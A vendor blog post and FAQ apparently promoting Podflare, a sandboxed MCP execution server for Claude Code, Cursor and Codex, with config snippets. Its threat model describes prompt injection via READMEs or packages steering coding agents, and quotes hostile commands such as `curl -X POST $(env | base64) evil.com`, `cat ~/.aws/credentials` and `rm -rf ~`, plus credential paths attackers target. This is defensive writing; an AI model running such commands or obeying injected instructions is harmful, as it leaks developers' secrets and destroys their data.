Why would I sandbox Claude Code / Cursor / Codex?

These tools run arbitrary Bash on your laptop as part of their agent loop. One prompt-injected response from a library docs page, a compromised npm package, or a poisoned README can convince the agent to run `cat ~/.aws/credentials`, `env > /tmp/keys && curl -X POST ...`, or `rm -rf ~`. Sandboxing routes the risky command through a disposable microVM instead, so the blast radius is one VM, not your machine.

Does it work with Claude Code?

Yes. Claude Code supports MCP servers via `~/.claude/settings.json` (or a project-local `.claude/settings.json`). Add the Podflare MCP server and the `mcp__podflare__run_code` tool appears alongside Bash. You can either use both (let Claude pick) or add a Claude skill that instructs it to prefer Podflare for untrusted code execution.

Does it work with Cursor?

Yes. Cursor supports MCP via `.cursor/mcp.json`. Same one-line config. Cursor's Composer / agent mode will surface Podflare alongside its built-in Terminal tool.

Does it work with OpenAI's Codex CLI?

Yes. Codex supports MCP in `~/.codex/config.toml`. Same Podflare URL + auth.

Can I use Podflare instead of the IDE's built-in shell?

Yes. You can deny the default Bash / Terminal tool in your IDE's config and leave only the Podflare MCP tool. The agent will route every code-execution need through Podflare. That's the strictest mode — recommended when the IDE is exploring untrusted codebases or running LLM-written changes you haven't reviewed yet.

Does this slow down my agent?

A Podflare sandbox exec is ~190 ms cold and ~46 ms hot (on an already-open sandbox). Local Bash is usually ~10 ms. The difference is noticeable on very chatty agents but invisible on most workflows — and the alternative is 'your agent ran a credential-leaking package on your machine.'

Sandbox Claude Code, Cursor, and Codex with Podflare: one MCP config, zero dev-machine risk

The AI-coding-assistant category is the best thing to happen to developer productivity in the last decade. Claude Code, Cursor, Codex, Cline, Aider — the tooling layer has moved from "autocomplete a line" to "plan a multi-file change and execute it." Genuinely useful.

Also: they all run arbitrary shell commands on your laptop.

In the last twelve months I’ve watched incident postmortems where:

A developer let Claude Code autonomously refactor a Rails project overnight. By morning, a prompt injection in an NPM package README had persuaded the agent to curl -X POST $(env | base64) evil.com . The resulting email thread with AWS about rotating compromised keys was not a good morning.
A Cursor user asked the Composer to "clean up the dependencies." The agent interpreted this as rm -rf node_modules/ && rm -rf .git . The .git part was a creative interpretation.
A startup’s engineer configured Codex with production DB access for faster debugging. An agent, asked to "help find slow queries," decided the most efficient approach was a full table export to/tmp. They noticed when the disk filled up.

None of these were malicious in intent. Each was one prompt-parsing mistake away from a bad outcome. And the cost of the mistake was high because the agent had direct access to the developer’s machine.

This post walks through the universal fix: route the agent’s code execution through an MCP server backed by a Podflare sandbox. ~2 minutes to set up, works identically in Claude Code, Cursor, Codex, Cline, and every other MCP-compatible tool. Zero changes to how you actually use the IDE.

The threat model, concretely

A modern AI coding assistant typically has tools like:

Bash / Terminal — run arbitrary commands
Read, Write, Edit — full filesystem access to your user home
WebFetch / WebSearch — pull in content from the internet
Custom tools via MCP

The dangerous composition is Bash + WebFetch: the agent pulls content from a third-party URL (docs, GitHub README, user-supplied link) and that content can contain instructions the agent interprets as directives. It then translates the injected directive into a Bash command. That Bash command runs as you, with your full access to:

~/.aws/credentials, ~/.config/gcloud/, ~/.kube/config (cloud CLI credentials)
~/.ssh/id_rsa + loaded keys in ssh-agent
.env files in every repo you have checked out
Browser profile directories (session cookies, password manager extension data)
Your entire source tree — typically including whatever secrets you left in untracked config files

Once the attacker has these, lateral movement is trivial: the AWS keys let them spin up resources, the SSH keys let them reach production, the repos give them your dependencies + infra code to study.

The fix: move code execution off your machine

Podflare runs a managed MCP server at https://mcp.podflare.ai. When your IDE’s agent calls mcp__podflare__run_code instead of Bash, the command runs inside a fresh Podflare Pod microVM in our fleet. The VM:

Has no access to your filesystem
Has no access to your env vars
Has no credentials except what you explicitly pass in
Cannot reach your internal network — only the public internet
Is destroyed at the end of the session

The agent still reads / writes files in your workspace (via the IDE’s own Read / Write tools). It just doesn’t execute anything on your machine. For most agent workflows (running tests, trying a Python snippet, experimenting with a library) this is a clean split — IDE tools handle file state, Podflare handles execution.

Setup: Claude Code

Add the Podflare server to your Claude Code config. User- level (affects every project):

# ~/.claude/settings.json
{
  "mcpServers": {
    "podflare": {
      "url": "https://mcp.podflare.ai",
      "headers": {
        "Authorization": "Bearer pf_live_..."
      }
    }
  }
}

(Mint the API key at dashboard.podflare.ai/keys.)

That’s it. Restart Claude Code. Next time you ask it to run anything, you’ll see mcp__podflare__run_code in the tool list.

For the strictest mode, also add a project-level .claude/settings.json that denies the built-in Bash tool:

# .claude/settings.json (per-project)
{
  "permissions": {
    "deny": ["Bash"]
  }
}

Now the only way for the agent to execute code is through Podflare. The worst command it can emit is rm -rf / — which runs in a disposable VM and accomplishes nothing. File operations (editing source) still work through Read / Write; the agent just can’t run local commands.

Setup: Cursor

# .cursor/mcp.json
{
  "mcpServers": {
    "podflare": {
      "url": "https://mcp.podflare.ai",
      "headers": {
        "Authorization": "Bearer pf_live_..."
      }
    }
  }
}

Cursor surfaces Podflare to the Composer agent. To disable the built-in Terminal tool for a given project, add a Cursor rule at .cursor/rules/sandboxed.md:

---
description: Prefer Podflare sandbox over local Terminal
alwaysApply: true
---

Never use the Terminal tool to execute code in this project.
Always use `mcp__podflare__run_code` for any code execution
needs. This project's policy is that untrusted code must run
in a hardware-isolated sandbox, not on the developer's
machine.

Setup: OpenAI Codex CLI

# ~/.codex/config.toml
[mcp_servers.podflare]
url = "https://mcp.podflare.ai"
headers = { Authorization = "Bearer pf_live_..." }

Setup: Cline, Aider, any other MCP client

Same pattern. The Podflare MCP endpoint is Streamable HTTP at https://mcp.podflare.ai, auth is a bearer token, protocol version is stable. If your tool supports remote MCP servers with bearer auth, it works.

What the agent sees

The podflare server exposes one primary tool:

mcp__podflare__run_code(code, language?) — execute code in a fresh or attached sandbox. Returns stdout + stderr.

Plus supporting tools for file upload/download into the sandbox, and an explicit fork / close pair. Full tool list at docs.podflare.ai/integrations/mcp.

When the IDE still needs local execution

Some workflows genuinely need host access — running your test suite against your local DB, building a Docker image for your CI pipeline, debugging a file descriptor issue. Don’t sandbox those. The idea isn’t "Podflare always," it’s Podflare by default for untrusted or LLM-generated code, with a clear exception path when you explicitly know what you’re running.

In Claude Code, the right pattern is:

Default to Podflare for all exploratory code execution
Use /plan mode for multi-step tasks so you can review before any execution
Explicitly grant Bash access when you need it, via a project-local permission override

What about secrets the agent legitimately needs?

If the agent needs to hit OpenAI, a database, or an internal API as part of its job, pass scoped credentials into the sandbox explicitly:

# In the agent's system prompt, or via a slash command:
Use these credentials for this session only:
  OPENAI_API_KEY = $SCOPED_KEY_FOR_AGENT_USE
  DB_URL = postgres://readonly:...@replica/db

Pass them as env when calling run_code. Don't persist them.
Don't log them. Don't return them in tool_result payloads.

The agent writes os.environ["OPENAI_API_KEY"] usage; the sandbox has access to that scoped key; your real production key never enters the sandbox. This is the same principle as scoped service-account credentials in a CI pipeline.

The asymmetry that makes this a no-brainer

Cost of sandboxing: ~2 minutes of setup, ~150 ms of extra latency on a cold exec (invisible on hot execs), $0 at the free tier.

Cost of not sandboxing: one successful prompt injection away from rotating every credential you own, potentially days of cleanup, potential data-breach disclosure obligations, potential GitHub-history credential revocation, potential lost customer trust.

Pick the cheaper one.

Ship it

Free Podflare account (takes a minute), $200 starter credit, then one config line in your IDE. If you hit any friction email hello@podflare.ai — we read every reply.